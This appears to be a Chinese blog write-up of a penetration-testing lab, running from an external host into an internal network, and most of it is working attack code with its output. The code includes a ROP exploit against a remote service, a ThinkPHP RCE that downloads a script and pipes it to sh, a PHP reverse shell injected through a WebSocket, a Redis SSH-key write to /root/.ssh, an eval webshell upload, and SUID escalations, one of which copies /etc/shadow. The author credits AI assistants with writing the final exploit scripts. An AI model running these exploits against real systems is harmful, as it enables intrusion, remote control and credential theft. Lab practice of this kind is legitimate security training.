外网
这个靶子,其实还挺新颖的,也挺融合,常规扫一边之后记得扫一下全端口吧
┌──(root㉿MJ)-[/tmp/test/yunjing]
└─# fscan -h 39.98.124.196
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.98.124.196:22 open
39.98.124.196:8080 open
39.98.124.196:8081 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.98.124.196:8081 code:200 len:397 title:Directory listing for /
[+] InfoScan http://39.98.124.196:8081 [目录遍历]
[*] WebTitle http://39.98.124.196:8080 code:302 len:0 title:None 跳转url: http://39.98.124.196:8080/login;jsessionid=7C48FCE2B169F9F43F64C82BC79FF2F8
[*] WebTitle http://39.98.124.196:8080/login;jsessionid=7C48FCE2B169F9F43F64C82BC79FF2F8 code:200 len:8663 title:Login8080是个shiro框架,8081是个py起的http服务器,shiro下有很多api接口(在前端js能看到),这里思路可以提取出来看看有没有未授权访问,但是我嫌麻烦没搞,能未授权下jar包反编译找key?
8081有个elf文件,是个ret2libc溢出好像,让ai看下就秒了,但是拿shell得打远程吧
fscan -h 39.98.124.196 -p 1-65535
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
39.98.124.196:22 open
39.98.124.196:8081 open
39.98.124.196:8080 open
39.98.124.196:65533 open有个高端口,nc一下确实是这个elf的服务
from pwn import *
# 偏移
offset = 312
# 地址
pop_rsi = 0x40117e
pop_rax_rdi = 0x401180
pop_rdx = 0x401183
syscall = 0x401187
binsh = 0x402004 # "/bin/sh" 字符串地址
# 构造 payload
payload = b'A' * offset
payload += p64(pop_rsi) + p64(0) # rsi = 0 (argv)
payload += p64(pop_rdx) + p64(0) # rdx = 0 (envp)
payload += p64(pop_rax_rdi) + p64(59) + p64(binsh) # rax=59, rdi="/bin/sh"
payload += p64(syscall) # 触发 execve
p = remote('39.98.124.196', 65533)
p.sendline(payload)
p.interactive()┌──(.venv3)─(root㉿MJ)-[/tmp/test/yunjing]
└─# python3 exp.py
[+] Opening connection to 39.98.124.196 on port 65533: Done
[*] Switching to interactive mode
Pwn me
$ whoami
webapp
$直接可以pwn掉了,写个私钥连上即可
webapp@Shiro:~$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/umount
/usr/bin/mount
/usr/bin/stapbpf
/usr/bin/staprun
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/su
/usr/bin/pkexec
/usr/bin/at
/usr/bin/sudo
/usr/bin/base64
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/fusermount
base64有s位,直接读即可
webapp@Shiro:/$ base64 flag | base64 -d
flag{16fc0d69-a7b9-0a5d-5ff6-8eab6776774f}
内网
依旧fscan开路,这里确实学到新东西了
| IP | 开放端口 | 服务/标题 | 漏洞/备注 |
|---|---|---|---|
| 172.22.10.3 | 22, 80 | 80: HTTP,无标题,长度 931 | ThinkPHP 5.0.23 方法 RCE(fscan 已报) |
| 172.22.10.154 | 22, 80 | 80: HTTP,无标题,长度 691 | 应用类型未知,待手动探测 |
| 172.22.10.155 | 22, 80, 9501 | 80: Apache2 Ubuntu 默认页 9501: HTTP 400,长度 83 | 9501 疑似 Swoole / Hyperf 等服务 |
这里的think\__include_file是个tp内置函数,该说不说很有思路的绕过
function __include_file($file)
{
return include $file;
}
直接rce,上线vshell即可
┌──(root㉿MJ)-[/tmp/test/yunjing] └─# pc -q python3 ez.py '(curl -fsSL -m180 http://172.22.10.22:10086/slt||wget -T180 -q http://172.22.10.22:10086/slt)|sh'
[*] cmd: (curl -fsSL -m180 http://172.22.10.22:10086/slt||wget -T180 -q http://172.22.10.22:10086/slt)|sh
www-data@openrasp:/tmp$ ss -lnt
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
www-data@openrasp:/tmp$
有mysql,database和config里都没有密码,在openRASP的日志里面
`/opt/logs/alarm/alarm.log.2025-01-20`有s位的find直接提权即可
www-data@openrasp:/$ find / -perm -4000 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/bin/su
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/find
/usr/bin/sudo
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/at
/snap/core20/1828/usr/bin/chfn
/snap/core20/1828/usr/bin/chsh
/snap/core20/1828/usr/bin/gpasswd
/snap/core20/1828/usr/bin/mount
/snap/core20/1828/usr/bin/newgrp
/snap/core20/1828/usr/bin/passwd
/snap/core20/1828/usr/bin/su
/snap/core20/1828/usr/bin/sudo
/snap/core20/1828/usr/bin/umount
/snap/core20/1828/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1828/usr/lib/openssh/ssh-keysign
/snap/core20/2434/usr/bin/chfn
/snap/core20/2434/usr/bin/chsh
/snap/core20/2434/usr/bin/gpasswd
/snap/core20/2434/usr/bin/mount
/snap/core20/2434/usr/bin/newgrp
/snap/core20/2434/usr/bin/passwd
/snap/core20/2434/usr/bin/su
/snap/core20/2434/usr/bin/sudo
/snap/core20/2434/usr/bin/umount
/snap/core20/2434/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2434/usr/lib/openssh/ssh-keysign
/snap/snapd/23545/usr/lib/snapd/snap-confine
/snap/snapd/18357/usr/lib/snapd/snap-confine
www-data@openrasp:/$ find . -exec /bin/sh -p \; -quit
# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
# 172.22.10.155的9501是个Swoole服务,这里很神奇,究竟是怎么知道有命令注入的,很迷惑
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket, base64, os, hashlib, struct, json
HOST = "172.22.10.155"
PORT = 9501
PATH = "/"
def ws_send_text(sock, text):
"""发送 WebSocket 文本帧(客户端必须掩码)"""
payload = text.encode()
# FIN + opcode(1=text)
frame = bytearray([0x81])
# MASK=1 + payload length
if len(payload) < 126:
frame.append(0x80 | len(payload))
elif len(payload) < 65536:
frame.append(0x80 | 126)
frame += struct.pack(">H", len(payload))
else:
frame.append(0x80 | 127)
frame += struct.pack(">Q", len(payload))
# 4 字节掩码 key
mask = os.urandom(4)
frame += mask
# 掩码 payload
masked = bytes(b ^ mask[i % 4] for i, b in enumerate(payload))
frame += masked
sock.sendall(bytes(frame))
def ws_recv(sock, timeout=5):
"""接收一帧(简化版,处理小帧)"""
sock.settimeout(timeout)
try:
hdr = sock.recv(2)
if len(hdr) < 2:
return None
b1, b2 = hdr[0], hdr[1]
length = b2 & 0x7f
if length == 126:
length = struct.unpack(">H", sock.recv(2))[0]
elif length == 127:
length = struct.unpack(">Q", sock.recv(8))[0]
masked = b2 & 0x80
if masked:
mask = sock.recv(4)
data = b""
while len(data) < length:
chunk = sock.recv(length - len(data))
if not chunk:
break
data += chunk
if masked:
data = bytes(b ^ mask[i % 4] for i, b in enumerate(data))
return data.decode(errors="replace")
except socket.timeout:
return None
except Exception as e:
return f"[recv_err] {e}"
# 1. TCP 连接
s = socket.create_connection((HOST, PORT), timeout=10)
# 2. WebSocket 握手
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {PATH} HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
f"Sec-WebSocket-Version: 13\r\n"
f"\r\n"
)
s.sendall(req.encode())
# 3. 读握手响应
resp = b""
while b"\r\n\r\n" not in resp:
chunk = s.recv(4096)
if not chunk:
break
resp += chunk
print(f"[+] 握手响应:\n{resp.decode(errors='replace')[:300]}")
# 4. 发 payload
payload = ";php -r '$s=fsockopen(\"172.22.10.22\",2332);proc_open(\"/bin/bash\",[$s,$s,$s],$p);'"
msg = json.dumps({"emit": "msg", "message": "123", "token": payload})
print(f"\n[>] Sending: {msg}")
ws_send_text(s, msg)
# 5. 收响应
r = ws_recv(s, timeout=5)
print(f"[<] Received: {r}")
s.close()拿到shell,上线vshell即可
www-data@redis:/tmp$ ss -lnt
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 127.0.0.1:6379 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 512 0.0.0.0:9501 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:* 开了redis
www-data@redis:/tmp$ ps -aux | grep redis
root 562 0.0 0.1 58320 7976 ? Ssl 10:14 0:01 /opt/redis/redis-server 127.0.0.1:6379
www-data 1573 0.0 0.0 9032 656 pts/0 S+ 10:52 0:00 grep redisroot启动的,直接未授权秒了,可以看我老兄弟写的[Redis未授权访问漏洞复现 - the0n3](https://the0n3.top/pages/cd7cec/)
很详细,直接按着打就行,推荐偷一份留本地
www-data@redis:/tmp$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
www-data@redis:/tmp$ cat key.txt | redis-cli -h 127.0.0.1 -x set sshpub
OK
www-data@redis:/tmp$ redis-cli
127.0.0.1:6379> config set dir /root/.ssh
OK
127.0.0.1:6379> config set dbfilename authorized_keys
OK
127.0.0.1:6379> keys *
1) "sshpub"
127.0.0.1:6379> get sshpub
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDM4qXRwDvTl9ctJFAuhiWRSobyowSJ6tnlykH6JNAa5rw/7X30dRmROBSdxs68lkvXp7y6xgjHtyfhzNZFtOw22xLBk7fIrt++7jF4h3fnIen/PokDThRJFFPi/rBTADsVrfqCcfhSUBCks2rKoMr4SJKjAwZK3znfKEtKQWhOz7o9zipCMoLatte1TWGmL0OY8f7hJxQpCwmKxK2LFI3lA8eS5pzlQ+4lzdNW3TytxRynKV1LUbkGJ7x/aNrood/UphbqxVVrgx/UXlZRPivit5Ya0ilp/d5uEpdBtGT395uCxKTqSDHQfvalbqbIdGZYq8Ilx+jeKMDFzDZVgACb29DIORYjKEzCIpiLALsTB8MdY2kcrkk6rkkf/Fy+vGkdJ0Q9MzvJ/PRbigKtx/zHiUp+j9j/nBBmPMp5FNzBBeMBlH76DJlDcw8cBTZCVYz1HiqdL4YhXvcoZ7yLj7qa0r7MpFwnobcpMc7mlJLqcf2Pltj4RoLxAu6KLD4ZcfU= root@MJ\n\n\n\n"
127.0.0.1:6379> save
OK
127.0.0.1:6379> ssh上去即可
root@redis:~# cat flag
flag{4b9581e7-131c-414e-a65f-209a0e533eb8}/opt/server.php
<?php
class WebSocket
{
const HOST = '0.0.0.0';
const PORT = '9501';
const IMAGE_UPLOAD_API_URL = 'http://172.22.10.154/api/upload/image';
const FILE_UPLOAD_API_URL = 'http://172.22.10.154/api/upload/file';
public $server = null;
const ALLOWED_IMAGE_EXTENSIONS = [
'jpg', 'jpeg', 'png', 'gif', 'bmp', 'ico',
];
const ALLOWED_FILE_EXTENSIONS = [
'pdf', 'zip', 'rar', 'txt', 'doc', 'docx', 'psd', 'xls', 'xlsx', 'ppt',
];
public function __construct()
{
$redis = new \Redis();
$redis->pconnect('127.0.0.1', 6379, 0);
$this->server = new swoole_websocket_server(self::HOST, self::PORT);
$this->server->redis = $redis;
$this->server->set([
'task_worker_num' => 10,
'max_connection' => 10000,
'daemonize' => 0,
]);
$this->server->on('open', [$this, 'onOpen']);
$this->server->on('message', [$this, 'onMessage']);
$this->server->on('task', [$this, 'onTask']);
$this->server->on('finish', [$this, 'onFinish']);
$this->server->on('close', [$this, 'onClose']);
$this->server->start();
}
private function isImageExtensionAllowed($fileName)
{
$fileExtension = pathinfo($fileName, PATHINFO_EXTENSION);
return in_array(strtolower($fileExtension), self::ALLOWED_IMAGE_EXTENSIONS);
}
private function isFileExtensionAllowed($fileName)
{
$fileExtension = pathinfo($fileName, PATHINFO_EXTENSION);
return in_array(strtolower($fileExtension), self::ALLOWED_FILE_EXTENSIONS);
}
public function onOpen($server, $frame)
{
// null
}
public function onMessage($server, $frame)
{
$data = json_decode($frame->data, true);
if (isset($data['emit']) && isset($data['token'])) {
$token = $data['token'];
$messageKey = "chat:messages:$token";
switch ($data['emit']) {
case 'getHistoryMessages':
$messages = $this->server->redis->lRange($messageKey, 0, -1);
if ($messages) {
$messages = array_map(function ($msg) {
return json_decode($msg, true);
}, $messages);
$server->push($frame->fd, json_encode([
'emit' => 'historyMessages',
'messages' => $messages,
]));
}
break;
case 'fileUpload':
$server->task($data);
break;
case 'imageUpload':
$server->task($data);
break;
case 'msg':
$message = [
'type' => 'text',
'content' => $data['message'],
'timestamp' => time()
];
$command = escapeshellarg(json_encode($message));
exec("redis-cli RPUSH $messageKey $command");
break;
case 'seatAssigned':
$server->push($frame->fd, json_encode([
'emit' => 'seatAssigned',
'message' => '\u5750\u5e2d\u5206\u914d\u6210\u529f\uff0c\u60a8\u5df2\u4e0e\u5750\u5e2d\u4eba\u5458\u8fde\u63a5\u3002'
]));
break;
default:
$server->push($frame->fd, json_encode([
'emit' => 'error',
'message' => 'Invalid message format'
]));
break;
}
}
elseif ($data === null) {
$token = bin2hex(random_bytes(16));
$server->push($frame->fd, json_encode([
'emit' => 'status',
'message' => 'success',
'id' => $frame->fd,
'token' => $token
]));
} else {
$server->push($frame->fd, json_encode([
'emit' => 'error',
'message' => 'Invalid message format'
]));
}
}
public function onTask($server, $task_id, $src_worker_id, $data)
{
if ($data['emit'] === 'fileUpload') {
$response = $this->uploadFile($data['file'], $data['token']);
$this->sendUploadResponse($server, $data['id'], $response);
} elseif ($data['emit'] === 'imageUpload') {
$response = $this->uploadImage($data['file'], $data['token']);
$this->sendUploadResponse($server, $data['id'], $response);
}
}
private function sendUploadResponse($server, $fd, $response)
{
if (isset($response['emit'])) {
$messageKey = "chat:messages:{$response['token']}";
$this->server->redis->rPush($messageKey, json_encode([
'type' => $response['emit'] === 'fileUploaded' ? 'file' : 'image',
'content' => $response['fileUrl'] ?? $response['imageUrl'],
'timestamp' => time()
]));
try {
$server->push($fd, json_encode($response));
}catch (\Exception $exception){
$server->push($fd, json_encode([
'emit' => 'error',
'message' => 'Type error',
]));
}
}
}
public function onFinish($server, $task_id, $data)
{
// null
}
public function onClose($server, $fd)
{
$this->server->redis->hDel('connections', $fd);
}
public function uploadFile($fileData, $token)
{
$fileName = $fileData['name'];
$fileBase64 = base64_decode($fileData['data']);
$tempFilePath = sys_get_temp_dir() . '/' . uniqid() . '-' . $fileName;
file_put_contents($tempFilePath, $fileBase64);
if (!$this->isFileExtensionAllowed($fileName)) {
unlink($tempFilePath);
return [
'emit' => 'error',
'message' => 'File type error',
];
}
$curl = curl_init();
$postFields = [
'File' => new CURLFile($tempFilePath, mime_content_type($tempFilePath), $fileName)
];
curl_setopt_array($curl, [
CURLOPT_URL => self::FILE_UPLOAD_API_URL,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $postFields,
]);
$response = curl_exec($curl);
curl_close($curl);
unlink($tempFilePath);
if ($response) {
$responseData = json_decode($response, true);
if ($responseData['code'] === 0) {
return [
'emit' => 'fileUploaded',
'token'=> $token,
'fileUrl' => 'http://172.22.10.154' . $responseData['data']['src']
];
}
}
return [
'emit' => 'error',
'message' => 'File upload failure'
];
}
public function uploadImage($fileData, $token)
{
$fileName = $fileData['name'];
$fileBase64 = base64_decode($fileData['data']);
$tempFilePath = sys_get_temp_dir() . '/' . uniqid() . '-' . $fileName;
file_put_contents($tempFilePath, $fileBase64);
if (!$this->isImageExtensionAllowed($fileName)) {
unlink($tempFilePath);
return [
'emit' => 'error',
'message' => 'Image type error',
];
}
$curl = curl_init();
$postFields = [
'File' => new CURLFile($tempFilePath, mime_content_type($tempFilePath), $fileName)
];
curl_setopt_array($curl, [
CURLOPT_URL => self::IMAGE_UPLOAD_API_URL,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $postFields,
]);
$response = curl_exec($curl);
curl_close($curl);
unlink($tempFilePath);
if ($response) {
$responseData = json_decode($response, true);
if ($responseData['code'] === 0) {
return [
'emit' => 'imageUploaded',
'token'=> $token,
'imageUrl' => 'http://172.22.10.154' . $responseData['data']['src']
];
}
}
return [
'emit' => 'error',
'message' => 'Image upload failure'
];
}
}
$socket = new WebSocket();可以看到跟154连接有文件上传的接口,同时154也是tp,ThinkPHP V5.1.41 LTS。这个版本有多语言LFI但是利用条件被禁用了吧,我反正没成功
root@redis:~# echo '<?php @eval($_POST["cmd"]);?>' > shell.php
root@redis:~# curl -X POST http://172.22.10.154/api/upload/file -F "File=@shell.php;type=application/octet-stream"
{"code":0,"msg":"上传成功","data":{"src":"\/uploads\/file\/20260927\/2b9be68e8cc3f192960ed9ce6b72cdd0.php"}}root@redis:~#蚁剑连上即可
(www-data:/) $ find / -perm -4000 2>/dev/null
/usr/bin/pkexec
/usr/bin/staprun
/usr/bin/chfn
/usr/bin/fusermount
/usr/bin/stapbpf
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/umount
/usr/bin/check
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
(www-data:/) $这里看到有个check,s位
(www-data:/) $ file /usr/bin/check
/usr/bin/check: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e11b09354100520c8559846ff4503a43cf674387, for GNU/Linux 3.2.0, stripped
(www-data:/) $ check --help
(www-data:/) $是个自定义elf文件,连个帮助都没有,喊出来re手子,秒了。这里该说不说豆姐有点实力
#!/bin/bash
# ============================================================
# Exploit: SUID root /usr/bin/check -> root
#
# check 有两个分支(main@0x1918):
# argv[1] == "command.enc" -> func_1746: 固定密钥, 但【无 setuid】, 不提权
# argv[1] != "command.enc" -> func_154c: 调 setuid(0)+setgid(0) 后再 system(),
# 密钥/IV = srand(time(0)) (按秒变化)
# 因此: 以 root 执行任意命令的关键是走 func_154c 分支, 并爆破那一秒的密钥。
# 密钥/IV 每个字节 = first_rand(T) & 0xff (16字节全相同)
#
# 用法(在目标机 www-data 下执行): bash ./exploit_check.sh
# 成功后会:
# - 生成 SUID root 的 /tmp/x (bash 副本), 执行 /tmp/x -p 获得 root shell
# - 把 /etc/shadow 复制到 /tmp/shadow.out (万一 /tmp 是 noexec, 也可直接读 shadow)
# 依赖: python3 (算 rand) + openssl (AES-128-CBC)。无 openssl 时改用 python3 加密(见下)。
# ============================================================
cd /tmp || exit 1
rm -f /tmp/evil /tmp/x /tmp/shadow.out
# 以 root 执行的命令(会交给 system())。可根据需要改。
CMD='cp /bin/bash /tmp/x;chmod 4755 /tmp/x;cat /etc/shadow>/tmp/shadow.out'
# 计算 glibc 首次 rand()(权威算法: 输出 = r[344] >> 1)
first_rand() {
python3 -c "
import sys
s=int(sys.argv[1])
r=[0]*345
r[0]=s & 0xffffffff
for i in range(1,31): r[i]=(16807*r[i-1])%2147483647
for i in range(31,34): r[i]=r[i-31]
for i in range(34,345): r[i]=(r[i-31]+r[i-3])%4294967296
print(r[344]>>1)
" "$1"
}
# 生成 /tmp/evil: 用 key=iv=[kb]*16 对 CMD 做 AES-128-CBC, 密文不含 0x00
# (若含 0x00, 换填充字节重试; 填充在命令 NUL 之后, 不影响执行)
make_evil() {
local kb="$1"
local kh f key
kh=$(printf '%02x' "$kb")
key="$kh$kh$kh$kh$kh$kh$kh$kh$kh$kh$kh$kh$kh$kh$kh$kh"
for f in 0 1 2 3 4 5 6 7 8 9; do
python3 - "$CMD" "$f" <<'PY'
import sys
cmd=sys.argv[1].encode()
p=cmd+b'\x00'
n=(16-len(p)%16)%16
p+=bytes([int(sys.argv[2])])*n
open('/tmp/.pt','wb').write(p)
PY
if command -v openssl >/dev/null 2>&1; then
openssl enc -aes-128-cbc -K "$key" -iv "$key" -nopad -in /tmp/.pt -out /tmp/evil 2>/dev/null
else
# 无 openssl 时的 python3 兜底(需 pycryptodome)
python3 - "$key" <<'PY'
import sys
try:
from Crypto.Cipher import AES
except Exception:
sys.exit(2)
key=bytes.fromhex(sys.argv[1])
c=AES.new(key,AES.MODE_CBC,key)
open('/tmp/evil','wb').write(c.encrypt(open('/tmp/.pt','rb').read()))
PY
[ $? -eq 2 ] && return 1
fi
if ! od -An -tx1 /tmp/evil | tr -d ' \n' | grep -q '00'; then
return 0
fi
done
return 1
}
echo "[*] 开始爆破密钥(按秒), 大约需要 10~15 秒 ..."
end=$(( $(date +%s) + 14 ))
while [ "$(date +%s)" -lt "$end" ]; do
T=$(date +%s)
kb=$(( $(first_rand "$T") & 255 ))
if make_evil "$kb"; then
/usr/bin/check /tmp/evil & # 触发 func_154c -> setuid(0) -> system(CMD) as root
fi
sleep 0.4
done
echo "[*] 等待 root 命令落地 ..."
for i in $(seq 1 10); do
if [ -u /tmp/x ]; then
echo "[+] 成功! SUID root shell: /tmp/x"
ls -l /tmp/x
echo "[+] 执行 /tmp/x -p 获取 root shell"
exit 0
fi
sleep 1
done
echo "[-] 未检测到 /tmp/x, 检查 /tmp/shadow.out 是否生成; 若都没有, 重跑本脚本"
虽然豆姐的过程可能有点难看,最终也是能出s位bash的,但是还是比不上kimi3,我只给kimi发了个check文件,然后就拿下了,昨天豆姐的成功了,今天复现没行,看来豆姐还是不稳
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# check SUID 提权利用: key = rand_byte(time(0))*16, iv = rand_byte(time(0)+2)*16, AES-128-CBC
import ctypes, os, subprocess, sys, time
libc = ctypes.CDLL("libc.so.6")
def rand_byte(seed):
libc.srand(ctypes.c_uint(seed & 0xffffffff))
return libc.rand() % 256
SBOX = [
0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16]
RCON = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36]
def _mul(a,b):
r=0
while b:
if b&1: r^=a
a<<=1
if a&0x100: a^=0x11b
b>>=1
return r&0xff
def _expand(key):
w=list(key); i=16; r=0
while i<176:
t=w[i-4:i]
if i%16==0:
t=[SBOX[t[1]]^RCON[r],SBOX[t[2]],SBOX[t[3]],SBOX[t[0]]]; r+=1
for b in t: w.append(w[i-16]^b); i+=1
return w
def _block(blk,w):
s=[blk[i]^w[i] for i in range(16)]
for rnd in range(1,11):
s=[SBOX[b] for b in s]
s=[s[0],s[5],s[10],s[15],s[4],s[9],s[14],s[3],s[8],s[13],s[2],s[7],s[12],s[1],s[6],s[11]]
if rnd<10:
ns=[]
for c in range(4):
col=s[4*c:4*c+4]
ns+=[_mul(col[0],2)^_mul(col[1],3)^col[2]^col[3],
col[0]^_mul(col[1],2)^_mul(col[2],3)^col[3],
col[0]^col[1]^_mul(col[2],2)^_mul(col[3],3),
_mul(col[0],3)^col[1]^col[2]^_mul(col[3],2)]
s=ns
s=[s[i]^w[16*rnd+i] for i in range(16)]
return bytes(s)
def aes_cbc_encrypt(pt,key,iv):
w=_expand(key); out=b""; prev=iv
for i in range(0,len(pt),16):
enc=_block(bytes(a^b for a,b in zip(pt[i:i+16],prev)),w)
out+=enc; prev=enc
return out
def make_ct(cmd, t):
key = bytes([rand_byte(t)])*16
iv = bytes([rand_byte(t+2)])*16
for v in range(676): # 前缀无害变量赋值, 让首块明文也变化
pt = ("_=%c%c;" % (65+v%26, 65+(v//26)%26)).encode() + cmd.encode() + b" #" + b"\x00" # null 截断 strlen
pt += b"A" * ((16 - len(pt) % 16) % 16)
c = aes_cbc_encrypt(pt, key, iv) # 密文不能含 null(文件按 fgets/strlen 读取)
if b"\x00" not in c:
return c
return None
CMD = sys.argv[1] if len(sys.argv) > 1 else "chmod u+s /bin/bash #"
BIN = sys.argv[2] if len(sys.argv) > 2 else "./check"
ENC = "/tmp/.cmd.enc"
if len(CMD) <= 8 or any(not (32 <= ord(c) < 127) for c in CMD):
sys.exit("命令需>8字符且为可打印ASCII")
print("[*] CMD:", CMD)
import stat as _st
def ok():
try: return bool(os.stat("/bin/bash").st_mode & _st.S_ISUID)
except Exception: return False
for attempt in range(1, 401):
t = int(time.time()) + 1
ct = make_ct(CMD, t)
if ct is None:
t += 1; ct = make_ct(CMD, t)
if ct is None: continue
open(ENC, "wb").write(ct)
while int(time.time()) < t: time.sleep(0.003)
subprocess.run([BIN, ENC], capture_output=True, timeout=15)
if "chmod" in CMD and ok():
print(f"[+] 成功! (第{attempt}次) /bin/bash 已带S位, 执行: bash -p")
break
if attempt % 10 == 0: print(f"[*] 已尝试 {attempt} 次...")
else:
print("[-] 未成功, 重跑脚本即可")www-data@customer:/tmp$ python3 ez.py
[*] CMD: chmod u+s /bin/bash #
[+] 成功! (第1次) /bin/bash 已带S位, 执行: bash -p
www-data@customer:/tmp$ bash -p
bash-5.0# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
bash-5.0#